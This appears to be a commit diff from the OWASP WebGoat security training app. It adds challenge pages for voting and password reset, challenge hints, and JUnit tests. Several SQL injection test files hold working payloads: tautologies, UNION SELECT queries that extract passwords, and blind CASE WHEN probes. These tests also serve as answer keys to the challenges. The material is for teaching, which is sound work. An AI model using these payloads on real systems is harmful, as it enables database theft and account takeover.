<h4>Rating breakdown</h4>
<div class="pull-left">
<div class="pull-left" style="width:35px; line-height:1;">
<div style="height:9px; margin:5px 0;">5 <span class="glyphicon glyphicon-star"></span>
</div>
</div>
<div class="pull-left" style="width:180px;">
<div class="progress" style="height:9px; margin:8px 0;">
<div id="progressBar5" class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="5"
aria-valuemin="0" aria-valuemax="5">
<span class="sr-only">5</span>
</div>
</div>
</div>
<div id="nrOfVotes5" class="pull-right" style="margin-left:10px;">0</div>
</div>
<div class="pull-left">
<div class="pull-left" style="width:35px; line-height:1;">
<div style="height:9px; margin:5px 0;">4 <span class="glyphicon glyphicon-star"></span>
</div>
</div>
<div class="pull-left" style="width:180px;">
<div class="progress" style="height:9px; margin:8px 0;">
<div id="progressBar4" class="progress-bar progress-bar-primary" role="progressbar" aria-valuenow="5"
aria-valuemin="0" aria-valuemax="5">
<span class="sr-only">4</span>
</div>
</div>
</div>
<div id="nrOfVotes4" class="pull-right" style="margin-left:10px;">0</div>
</div>
<div class="pull-left">
<div class="pull-left" style="width:35px; line-height:1;">
<div style="height:9px; margin:5px 0;">3 <span class="glyphicon glyphicon-star"></span>
</div>
</div>
<div class="pull-left" style="width:180px;">
<div class="progress" style="height:9px; margin:8px 0;">
<div id="progressBar3" class="progress-bar progress-bar-info" role="progressbar" aria-valuenow="5"
aria-valuemin="0" aria-valuemax="5">
<span class="sr-only">4</span>
</div>
</div>
</div>
<div id="nrOfVotes3" class="pull-right" style="margin-left:10px;">0</div>
</div>
<div class="pull-left">
<div class="pull-left" style="width:35px; line-height:1;">
<div style="height:9px; margin:5px 0;">2 <span class="glyphicon glyphicon-star"></span>
</div>
</div>
<div class="pull-left" style="width:180px;">
<div class="progress" style="height:9px; margin:8px 0;">
<div id="progressBar2" class="progress-bar progress-bar-warning" role="progressbar" aria-valuenow="5"
aria-valuemin="0" aria-valuemax="5">
<span class="sr-only">2</span>
</div>
</div>
</div>
<div id="nrOfVotes2" class="pull-right" style="margin-left:10px;">0</div>
</div>
<div class="pull-left">
<div class="pull-left" style="width:35px; line-height:1;">
<div style="height:9px; margin:5px 0;">1 <span class="glyphicon glyphicon-star"></span>
</div>
</div>
<div class="pull-left" style="width:180px;">
<div class="progress" style="height:9px; margin:8px 0;">
<div id="progressBar1" class="progress-bar progress-bar-danger" role="progressbar" aria-valuenow="5"
aria-valuemin="0" aria-valuemax="5">
<span class="sr-only">4</span>
</div>
</div>
</div>
<div id="nrOfVotes1" class="pull-right" style="margin-left:10px;">0</div>
</div>
</div>
</div>
<div class="row">
<div class="col-sm-7">
<hr/>
<div id = "voteResultMsg" class="alert alert-dismissable" style="display: none;">
</div>
<div class="alert alert-info">
Please login or register in order to vote (comments are disabled)
</div>
<div class="review-block">
<div class="row">
<div class="col-sm-3">
<img src="images/user1.png" class="img-rounded"/>
<div class="review-block-name"><a href="#">nktailor</a></div>
<div class="review-block-date">August 22, 2017<br/>1 day ago</div>
</div>
<div class="col-sm-9">
<div class="review-block-rate">
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs"
aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs"
aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
</div>
<div class="review-block-title">WebGoat rocks!</div>
<div class="review-block-description">This is a great tool to learn about security
and have some fun with a couple challenges.
</div>
</div>
</div>
<hr/>
<div class="row">
<div class="col-sm-3">
<img src="images/user3.png" class="img-rounded"/>
<div class="review-block-name"><a href="#">Sarah</a></div>
<div class="review-block-date">July 29, 2017<br/>12 day ago</div>
</div>
<div class="col-sm-9">
<div class="review-block-rate">
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs"
aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-default btn-grey btn-xs"
aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
</div>
<div class="review-block-title">Nice</div>
<div class="review-block-description">I liked it and learned a couple of things.
Still some bugs sometimes though.
</div>
</div>
</div>
<hr/>
<div class="row">
<div class="col-sm-3">
<img src="images/user2.png" class="img-rounded"/>
<div class="review-block-name"><a href="#">Tom</a></div>
<div class="review-block-date">January 27, 2017<br/>100 days ago</div>
</div>
<div class="col-sm-9">
<div class="review-block-rate">
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-default btn-grey btn-xs"
aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button type="button" class="btn btn-default btn-grey btn-xs"
aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
</div>
<div class="review-block-title">WebGoat is great</div>
<div class="review-block-description">WebGoat teaches you web security with some great
lessons
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<br/>
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
style="font-size:20px"></i></div>
<input type="text" class="form-control" id="flag" name="flag"
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
</div>
<div class="input-group" style="margin-top: 10px">
<button type="submit" class="btn btn-primary">Submit flag</button>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -0,0 +1,109 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Challenge_9.adoc"></div>
<script th:src="@{/lesson_js/challenge9.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="row">
<div class="col-md-6">
<h4 style="border-bottom: 1px solid #c5c5c5;">
<i class="glyphicon glyphicon-user"></i>
Account Access
</h4>
<div style="padding: 20px;" id="form-login">
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/challenge/9/login"
enctype="application/json;charset=UTF-8" role="form">
<fieldset>
<div class="form-group input-group">
<span class="input-group-addon"> @ </span>
<input class="form-control" placeholder="Email" name="email" type="email"
required="" autofocus=""/>
</div>
<div class="form-group input-group">
<span class="input-group-addon">
<i class="glyphicon glyphicon-lock">
</i>
</span>
<input class="form-control" placeholder="Password" name="password" type="password"
value="" required=""/>
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary btn-block">
Access
</button>
<p class="help-block">
<a class="pull-right text-muted" href="#" id="login">
<small>Forgot your password?</small>
</a>
</p>
</div>
</fieldset>
</form>
</div>
<div style="display: none;" id="form-login">
<h4 class="">
Forgot your password?
</h4>
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/challenge/9/create-password-reset-link"
enctype="application/json;charset=UTF-8" role="form">
<fieldset>
<span class="help-block">
Email address you use to log in to your account
<br/>
We'll send you an email with instructions to choose a new password.
</span>
<div class="form-group input-group">
<span class="input-group-addon">
@
</span>
<input class="form-control" placeholder="Email" name="email" type="email"
required=""/>
</div>
<button type="submit" class="btn btn-primary btn-block" id="btn-login">
Continue
</button>
<p class="help-block">
<a class="text-muted" href="#" id="forgot">
<small>Account Access</small>
</a>
</p>
</fieldset>
</form>
</div>
</div>
</div>
</div>
<br/>
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
style="font-size:20px"></i></div>
<input type="text" class="form-control" id="flag" name="flag"
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
</div>
<div class="input-group" style="margin-top: 10px">
<button type="submit" class="btn btn-primary">Submit flag</button>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -5,8 +5,13 @@ challenge3.title=Photo comments
challenge4.title=Voting
challenge5.title=Without password
challenge6.title=Creating a new account
challenge7.title=Admin password reset
challenge8.title=Without account
challenge9.title=Changing password
challenge.solved=Congratulations, you solved the challenge. Here is your flag: {0}
challenge.close=This is not the correct password for tom, please try again.
challenge.close=This is not the correct password for Larry, please try again.
email.send=An e-mail has been send to {0}
user.exists=User {0} already exists please try to register with a different username.
user.created=User {0} created, please proceed to the login page.
@ -16,3 +21,9 @@ challenge.flag.correct=Congratulations you have solved the challenge!!
challenge.flag.incorrect=Sorry this is not the correct flag, please try again.
ip.address.unknown=IP address unknown, e-mail has been sent.
login_failed=Login failed
login_failed.tom=Sorry only Tom can login at the moment
required4=Missing username or password, please specify both.
user.not.larry=Please try to log in as Larry not {0}.

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@ -0,0 +1,57 @@
$(document).ready(function () {
loadVotes();
average();
})
function loadVotes() {
$.get("challenge/8/votes/", function (votes) {
var totalVotes = 0;
for (var i = 1; i <= 5; i++) {
totalVotes = totalVotes + votes[i];
}
console.log(totalVotes);
for (var i = 1; i <= 5; i++) {
var percent = votes[i] * 100 / totalVotes;
console.log(percent);
var progressBar = $('#progressBar' + i);
progressBar.width(Math.round(percent) * 2 + '%');
$("#nrOfVotes" + i).html(votes[i]);
}
}
);
}
function average() {
$.get("challenge/8/votes/average", function (average) {
for (var i = 1; i <= 5; i++) {
var number = average["average"];
$("#star" + i).removeClass('btn-warning');
$("#star" + i).removeClass('btn-default');
$("#star" + i).removeClass('btn-grey');
if (i <= number) {
$("#star" + i).addClass('btn-warning');
} else {
$("#star" + i).addClass('btn-grey');
}
}
}
);
}
function doVote(stars) {
$("#voteResultMsg").hide();
$.get("challenge/8/vote/" + stars, function (result) {
if (result["error"]) {
$("#voteResultMsg").addClass('alert-danger alert-dismissable');
} else {
$("#voteResultMsg").addClass('alert-success alert-dismissable');
}
$("#voteResultMsg").html(result["message"]);
$("#voteResultMsg").show();
})
loadVotes();
average();
}

View File

@ -0,0 +1,10 @@
$(document).ready(function() {
$('#login').click(function(e) {
e.preventDefault();
$('div#form-login').toggle('500');
});
$('#forgot').click(function(e) {
e.preventDefault();
$('div#form-login').toggle('500');
});
});

View File

@ -0,0 +1 @@
Try to reset the password for admin.

View File

@ -0,0 +1 @@
Can you still vote?

View File

@ -0,0 +1,3 @@
Tom always resets his password immediately after receiving the email with the link.
Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with
that password.

View File

@ -0,0 +1,19 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
<script th:src="@{/plugins/bootstrap/js/bootstrap.min.js}"/>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="alert alert-danger">
<h4>Password reset link is not valid please try again.</h4>
</div>
</div>
</div>
</body>
</html>

View File

@ -0,0 +1,48 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
<form role="form" method="POST" action="/WebGoat/challenge/9/change-password" th:object="${form}">
<h2 class="sign_up_title">Reset your password</h2>
<!--<div class="form-group" th:classappend="${#fields.hasErrors('email')}? 'has-error'">-->
<!--<div class="form-group">-->
<!--<label for="email" class="control-label">Email</label>-->
<!--<input autofocus="dummy_for_thymeleaf_parser" type="text" class="form-control"-->
<!--th:field="*{email}"-->
<!--id="email" placeholder="email" name='email'/>-->
<!--<span th:if="${#fields.hasErrors('email')}" th:errors="*{email}">Email error</span>-->
<!--</div>-->
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
<input type="hidden" name="resetLink" th:field="*{resetLink}" />
<label for="password" class="control-label" th:text="#{password}">Password</label>
<input type="password" class="form-control" id="password" placeholder="Password"
name='password' th:value="*{password}"/>
<span th:if="${#fields.hasErrors('password')}" th:errors="*{password}">Password error</span>
</div>
<!---->
<!--<div class="form-group">-->
<!--<input type="email" required="" autofocus="" name="email" id="email" class="form-control input-lg" placeholder="Email"-->
<!--tabindex="4"/>-->
<!--<input type="newPassword" required="" autofocus="" name="newPassword" id="newPassword" class="form-control input-lg" placeholder="New password"-->
<!--tabindex="4"/>-->
<!--</div>-->
<div class="row">
<div class="col-xs-12 col-md-12">
<button type="submit" class="btn btn-success btn-block btn-lg">Save</button>
</div>
</div>
</form>
</div>
</div>
</div>
</body>
</html>

View File

@ -0,0 +1,19 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
<script th:src="@{/plugins/bootstrap/js/bootstrap.min.js}"/>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="alert alert-success">
<h4>Password changed successfully, please login again with your new password</h4>
</div>
</div>
</div>
</body>
</html>

View File

@ -7,7 +7,6 @@ import org.junit.runner.RunWith;
import org.mockito.runners.MockitoJUnitRunner;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import static org.hamcrest.Matchers.is;
import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE;
@ -39,7 +38,6 @@ public class ShopEndpointTest {
@Test
public void getCoupon() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/webgoat"))
.andDo(MockMvcResultHandlers.print())
.andExpect(jsonPath("$.code", CoreMatchers.is("webgoat")))
.andExpect(jsonPath("$.discount", CoreMatchers.is(25)));
}

View File

@ -9,7 +9,6 @@ import org.owasp.webgoat.plugin.Flag;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import javax.servlet.http.Cookie;
@ -97,7 +96,6 @@ public class VotesEndpointTest {
.cookie(mvcResult.getResponse().getCookie("access_token")));
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
.cookie(mvcResult.getResponse().getCookie("access_token")))
.andDo(MockMvcResultHandlers.print())
.andExpect(jsonPath("$..[?(@.title == 'Get it for free')].numberOfVotes", CoreMatchers.hasItem(20001)));
}

View File

@ -34,12 +34,11 @@ import org.owasp.webgoat.assignments.AssignmentEndpointTest;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
import static org.mockito.Mockito.when;
@RunWith(MockitoJUnitRunner.class)
@ -64,7 +63,7 @@ public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
.header("webgoat-requested-by","dom-xss-vuln")
.param("param1", "42")
.param("param2", "24"))
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.output", CoreMatchers.containsString("phoneHome Response is " + randVal)))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@ -76,7 +75,7 @@ public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
.header("webgoat-requested-by","wrong-value")
.param("param1", "22")
.param("param2", "20"))
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}

View File

@ -33,7 +33,6 @@ import org.mockito.runners.MockitoJUnitRunner;
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
@ -56,7 +55,7 @@ public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
mockMvc.perform(MockMvcRequestBuilders.get("/challenge/1")
.header("x-request-intercepted", "true")
.param("changeMe", "Requests are tampered easily"))
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@ -66,7 +65,7 @@ public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
.header("x-request-intercepted", "false")
.param("changeMe", "Requests are tampered easily"))
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.failure"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}

View File

@ -6,15 +6,11 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.service.HintService;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.UserService;
import org.owasp.webgoat.users.WebGoatUser;
import org.springframework.test.util.ReflectionTestUtils;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import java.util.ArrayList;
import java.util.List;
@ -28,10 +24,6 @@ import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standal
public class MissingFunctionACUsersTest {
private MockMvc mockMvc;
@Mock
private WebSession websession;
@Mock
private AbstractLesson lesson;
@Mock
private UserService userService;
@Before
@ -46,7 +38,6 @@ public class MissingFunctionACUsersTest {
public void TestContentTypeApplicationJSON () throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/users")
.header("Content-type","application/json"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].username", CoreMatchers.is("user1")))
.andExpect(jsonPath("$[0].userHash",CoreMatchers.is("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=")))

View File

@ -43,7 +43,7 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
public void HashDoesNotMatch() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
.param("userHash", "42"))
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@ -52,7 +52,7 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
public void hashMatches() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
.param("userHash", "2340928sadfajsdalsNfwrBla="))
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}

View File

@ -27,6 +27,7 @@
<module>xxe</module>
<module>idor</module>
<module>vulnerable-components</module>
<module>webwolf-introduction</module>
<module>auth-bypass</module>
<module>missing-function-ac</module>
<module>csrf</module>

View File

@ -84,7 +84,7 @@
<div class="col-lg-12">
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="SqlInjection/attack7"
action="SqlInjection/challenge"
enctype="application/json;charset=UTF-8" role="form">
<div class="form-group">
<input type="text" name="username_login" id="username4" tabindex="1"
@ -120,7 +120,7 @@
</form>
<form id="register-form" class="attack-form" accept-charset="UNKNOWN"
method="PUT" name="form"
action="SqlInjection/attack7"
action="SqlInjection/challenge"
enctype="application/json;charset=UTF-8" style="display: none;" role="form">
<div class="form-group">
<input type="text" name="username_reg" id="username" tabindex="1"

View File

@ -8,7 +8,6 @@ import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.CoreMatchers.containsString;
@ -39,7 +38,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
public void knownAccountShouldDisplayData() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
.param("account", "Smith"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
@ -50,7 +49,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
public void unknownAccount() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
.param("account", "Smithh"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
@ -61,7 +60,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
public void sqlInjection() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
.param("account", "smith' OR '1' = '1"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
@ -72,7 +71,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
public void sqlInjectionWrongShouldDisplayError() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
.param("account", "smith' OR '1' = '1'"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))

View File

@ -32,7 +32,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
public void wrongSolution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "John"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@ -41,7 +41,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
public void wrongNumberOfColumns() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", is("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
@ -51,7 +51,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
public void wrongDataTypeOfColumns() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
@ -61,7 +61,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
public void correctSolution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "Smith' union select 1,password, '1','2','3', '4',1 from user_system_data --"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("dave")));
@ -71,7 +71,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
public void noResultsReturned() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "Smith' and 1 = 2 --"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));

View File

@ -31,7 +31,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
public void submitCorrectPassword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
.param("userid_6b", "dave"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@ -39,7 +39,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
public void submitWrongPassword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
.param("userid_6b", "John"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}

View File

@ -40,7 +40,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
public void knownAccountShouldDisplayData() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "id"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk());
}
@ -48,7 +48,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
public void trueShouldSortByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "(case when (true) then hostname else id end)"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@ -57,7 +57,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
public void falseShouldSortById() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "(case when (true) then hostname else id end)"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@ -66,7 +66,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
public void passwordIncorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
}
@ -74,7 +74,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
public void passwordCorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@ -82,7 +82,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
.param("ip", "104.130.219.202"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@ -90,7 +90,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
.param("ip", "192.168.219.202"))
